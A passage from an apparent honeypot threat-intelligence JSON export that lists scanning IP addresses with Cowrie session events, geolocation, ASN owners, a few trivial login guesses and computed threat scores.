      "last_seen": "2026-05-05T05:38:16.539Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Porto Alegre",
      "asn": 8167,
      "as_org": "V tal",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.8,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T09:17:55.759000+00:00",
        "last_seen_30d": "2026-05-05T05:39:58.752000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Suricata": 9,
        "Cowrie": 6
      }
    },
    "66.132.172.100": {
      "attack_count": 6,
      "first_seen": "2026-05-21T02:34:56.701Z",
      "last_seen": "2026-05-21T02:35:40.193Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 93.8,
      "threat_level": "critical",
      "score_components": {
        "frequency": 23.8,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 242,
        "days_active_30d": 30,
        "ports_targeted_30d": 48,
        "honeypots_triggered_30d": 8,
        "first_seen_30d": "2026-05-02T07:19:59+00:00",
        "last_seen_30d": "2026-05-31T09:08:23.616000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 160,
        "Honeytrap": 51,
        "ElasticPot": 9,
        "ConPot": 6,
        "Cowrie": 6,
        "Dionaea": 4,
        "CitrixHoneypot": 3
      }
    },
    "66.132.195.39": {
      "attack_count": 6,
      "first_seen": "2026-05-31T04:31:14.444Z",
      "last_seen": "2026-05-31T04:31:52.124Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 91.6,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.6,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 144,
        "days_active_30d": 30,
        "ports_targeted_30d": 32,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-05-02T03:09:50+00:00",
        "last_seen_30d": "2026-05-31T13:52:40.033000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 83,
        "Honeytrap": 41,
        "Ciscoasa": 6,
        "Cowrie": 6,
        "ElasticPot": 4,
        "ConPot": 3,
        "Sentrypeer": 1
      }
    },
    "66.132.195.53": {
      "attack_count": 6,
      "first_seen": "2026-05-30T03:32:33.262Z",
      "last_seen": "2026-05-30T03:33:07.810Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 91.1,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.1,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 128,
        "days_active_30d": 30,
        "ports_targeted_30d": 46,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-02T12:28:28+00:00",
        "last_seen_30d": "2026-05-31T19:49:34.914000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 65,
        "Honeytrap": 53,
        "Cowrie": 6,
        "ElasticPot": 3,
        "Dicompot": 1
      }
    },
    "78.111.67.225": {
      "attack_count": 6,
      "first_seen": "2026-05-10T02:21:45.297Z",
      "last_seen": "2026-05-10T02:21:52.170Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 33984,
      "as_org": "Surfplanet GmbH",
      "threat_score": 6.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T02:21:45.297000+00:00",
        "last_seen_30d": "2026-05-10T02:22:58.610000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "103.171.69.108": {
      "attack_count": 5,
      "first_seen": "2026-05-21T18:40:20.655Z",
      "last_seen": "2026-05-21T18:40:22.598Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "ko"
      ],
      "passwords_attempted": [
        "123456"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bangladesh",
      "country_code": "BD",
      "city": null,
      "asn": 142627,
      "as_org": "Multilink International",
      "threat_score": 14.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T18:40:20.655000+00:00",
        "last_seen_30d": "2026-05-21T18:41:27.314000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "81.29.142.6": {
      "attack_count": 5,
      "first_seen": "2026-05-04T16:21:40.740Z",
      "last_seen": "2026-05-05T06:16:55.501Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 210259,
      "as_org": "LLC Applied Computational Technologies",
      "threat_score": 15.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 27.6,
        "persistence": 5.0,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 574,
        "days_active_30d": 6,
        "ports_targeted_30d": 41,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-05-02T00:04:22+00:00",
        "last_seen_30d": "2026-05-07T18:15:41.316000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Suricata": 376,
        "Honeytrap": 172,
        "Dionaea": 11,
        "Redishoneypot": 6,
        "Cowrie": 5,
        "ElasticPot": 3,
        "Sentrypeer": 1
      }
    },
    "147.185.132.51": {
      "attack_count": 4,
      "first_seen": "2026-05-07T10:25:36.655Z",
      "last_seen": "2026-05-07T10:25:40.370Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 76.1,
      "threat_level": "high",
      "score_components": {
        "frequency": 19.9,
        "persistence": 21.7,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 97,
        "days_active_30d": 26,
        "ports_targeted_30d": 29,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-04T03:59:30.365000+00:00",
        "last_seen_30d": "2026-05-29T22:01:19.700000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 66,
        "Honeytrap": 26,
        "Cowrie": 4,
        "ConPot": 1
      }
    },
    "194.187.178.154": {
      "attack_count": 4,
      "first_seen": "2026-05-30T08:14:53.420Z",
      "last_seen": "2026-05-30T08:14:54.317Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 215778,
      "as_org": "Alpha Strike Labs GmbH",
      "threat_score": 52.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 12.0,
        "persistence": 17.5,
        "diversity": 10,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 21,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-10T00:23:55.865000+00:00",
        "last_seen_30d": "2026-05-30T08:15:59.171000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 10,
        "Cowrie": 4,
        "Honeytrap": 2
      }
    },
    "64.62.156.112": {
      "attack_count": 4,
      "first_seen": "2026-05-28T07:56:59.904Z",
      "last_seen": "2026-05-28T07:57:03.904Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 74.8,
      "threat_level": "high",
      "score_components": {
        "frequency": 14.8,
        "persistence": 25,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 30,
        "days_active_30d": 30,
        "ports_targeted_30d": 17,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-02T15:05:52.324000+00:00",
        "last_seen_30d": "2026-05-31T08:07:57.689000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 24,
        "Cowrie": 4,
        "Honeytrap": 2
      }
    },
    "79.177.141.96": {
      "attack_count": 4,
      "first_seen": "2026-05-27T01:31:49.193Z",
      "last_seen": "2026-05-27T01:35:49.977Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Israel",
      "country_code": "IL",
      "city": "Tel Aviv",
      "asn": 6810,
      "as_org": "Bezeq- THE ISRAEL TELECOMMUNICATION CORP. LTD.",
      "threat_score": 18.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T01:31:49.193000+00:00",
        "last_seen_30d": "2026-05-27T01:46:37.670000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "157.245.118.253": {
      "attack_count": 3,
      "first_seen": "2026-05-31T14:02:10.744Z",
      "last_seen": "2026-05-31T14:03:13.674Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Clifton",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 19.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-31T14:02:10.744000+00:00",
        "last_seen_30d": "2026-05-31T14:04:16.751000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 2
      }
    },
    "106.215.164.208": {
      "attack_count": 2,
      "first_seen": "2026-05-08T05:23:58.323Z",
      "last_seen": "2026-05-08T05:24:10.755Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Mor\u0101d\u0101b\u0101d",
      "asn": 24560,
      "as_org": "Bharti Airtel Ltd., Telemedia Services",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T05:23:58.323000+00:00",
        "last_seen_30d": "2026-05-08T05:25:17.711000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "112.30.81.146": {
      "attack_count": 2,
      "first_seen": "2026-05-15T07:25:45.078Z",
      "last_seen": "2026-05-15T07:25:58.287Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 9808,
      "as_org": "China Mobile Communications Group Co., Ltd.",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T07:25:45.078000+00:00",
        "last_seen_30d": "2026-05-15T07:27:03.162000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "115.197.87.54": {
      "attack_count": 2,
      "first_seen": "2026-05-12T00:56:23.751Z",
      "last_seen": "2026-05-12T00:56:35.855Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Hangzhou",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 6.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T00:56:23.751000+00:00",
        "last_seen_30d": "2026-05-12T00:57:37.177000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "117.251.207.65": {
      "attack_count": 2,
      "first_seen": "2026-05-30T20:45:02.281Z",
      "last_seen": "2026-05-30T20:45:33.143Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Chennai",
      "asn": 9829,
      "as_org": "National Internet Backbone",
      "threat_score": 18.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-30T20:45:02.281000+00:00",
        "last_seen_30d": "2026-05-30T20:46:37.518000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "122.117.128.41": {
      "attack_count": 2,
      "first_seen": "2026-05-03T02:51:30.392Z",
      "last_seen": "2026-05-03T02:51:43.356Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Kaohsiung",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T02:51:30.392000+00:00",
        "last_seen_30d": "2026-05-03T02:52:50.637000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "122.233.31.127": {
      "attack_count": 2,
      "first_seen": "2026-05-03T02:19:48.460Z",
      "last_seen": "2026-05-03T02:20:01.160Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Huzhou",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T02:19:48.460000+00:00",
        "last_seen_30d": "2026-05-03T02:21:07.562000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "124.106.63.143": {
      "attack_count": 2,
      "first_seen": "2026-05-16T23:38:38.295Z",
      "last_seen": "2026-05-16T23:38:51.029Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Philippines",
      "country_code": "PH",
      "city": "Laur",
      "asn": 9299,
      "as_org": "Philippine Long Distance Telephone Company",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T23:38:38.295000+00:00",
        "last_seen_30d": "2026-05-16T23:39:58.971000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "125.24.61.92": {
      "attack_count": 2,
      "first_seen": "2026-05-14T19:42:25.811Z",
      "last_seen": "2026-05-14T19:42:38.756Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": "Tak",
      "asn": 23969,
      "as_org": "TOT Public Company Limited",
      "threat_score": 7.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T19:42:25.811000+00:00",
        "last_seen_30d": "2026-05-14T19:43:45.832000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "146.120.158.15": {
      "attack_count": 2,
      "first_seen": "2026-05-17T19:13:40.082Z",
      "last_seen": "2026-05-17T19:13:52.304Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Ulan-Ude",
      "asn": 208087,
      "as_org": "Ediniy Operator Svyazi LLC",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T19:13:40.082000+00:00",
        "last_seen_30d": "2026-05-17T19:14:52.961000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "157.34.16.242": {
      "attack_count": 2,
      "first_seen": "2026-05-02T08:23:34.465Z",
      "last_seen": "2026-05-02T08:23:47.505Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 55836,
      "as_org": "Reliance Jio Infocomm Limited",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T08:23:34.465000+00:00",
        "last_seen_30d": "2026-05-02T08:24:57.089000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "157.48.217.15": {
      "attack_count": 2,
      "first_seen": "2026-05-07T09:10:05.552Z",
      "last_seen": "2026-05-07T09:10:18.846Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Udaipur",
      "asn": 55836,
      "as_org": "Reliance Jio Infocomm Limited",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T09:10:05.552000+00:00",
        "last_seen_30d": "2026-05-07T09:11:28.086000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "157.48.251.26": {
      "attack_count": 2,
      "first_seen": "2026-05-10T03:41:22.707Z",
      "last_seen": "2026-05-10T03:41:37.071Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Jodhpur",
      "asn": 55836,
      "as_org": "Reliance Jio Infocomm Limited",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T03:41:22.707000+00:00",
        "last_seen_30d": "2026-05-10T03:42:43.068000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "160.19.174.115": {
      "attack_count": 2,
      "first_seen": "2026-05-02T12:04:03.367Z",
      "last_seen": "2026-05-02T12:04:16.217Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Nova Igua\u00e7u",
      "asn": 266171,
      "as_org": "MUSSEL NET TELECOMUNICACOES EIRELE ME",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T12:04:03.367000+00:00",
        "last_seen_30d": "2026-05-02T12:05:25.049000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "161.81.122.34": {
      "attack_count": 2,
      "first_seen": "2026-05-22T21:18:07.338Z",
      "last_seen": "2026-05-22T21:18:39.798Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 9231,
      "as_org": "China Mobile Hong Kong Company Limited",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T21:18:07.338000+00:00",
        "last_seen_30d": "2026-05-22T21:19:48.253000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "180.108.81.22": {
      "attack_count": 2,
      "first_seen": "2026-05-22T11:49:51.800Z",
      "last_seen": "2026-05-22T11:50:28.919Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T11:49:51.800000+00:00",
        "last_seen_30d": "2026-05-22T11:51:36.976000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "187.190.171.143": {
      "attack_count": 2,
      "first_seen": "2026-05-12T17:33:34.640Z",
      "last_seen": "2026-05-12T17:33:47.639Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Monterrey",
      "asn": 22884,
      "as_org": "TOTAL PLAY TELECOMUNICACIONES SA DE CV",
      "threat_score": 6.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T17:33:34.640000+00:00",
        "last_seen_30d": "2026-05-12T17:34:51.846000+00:00",
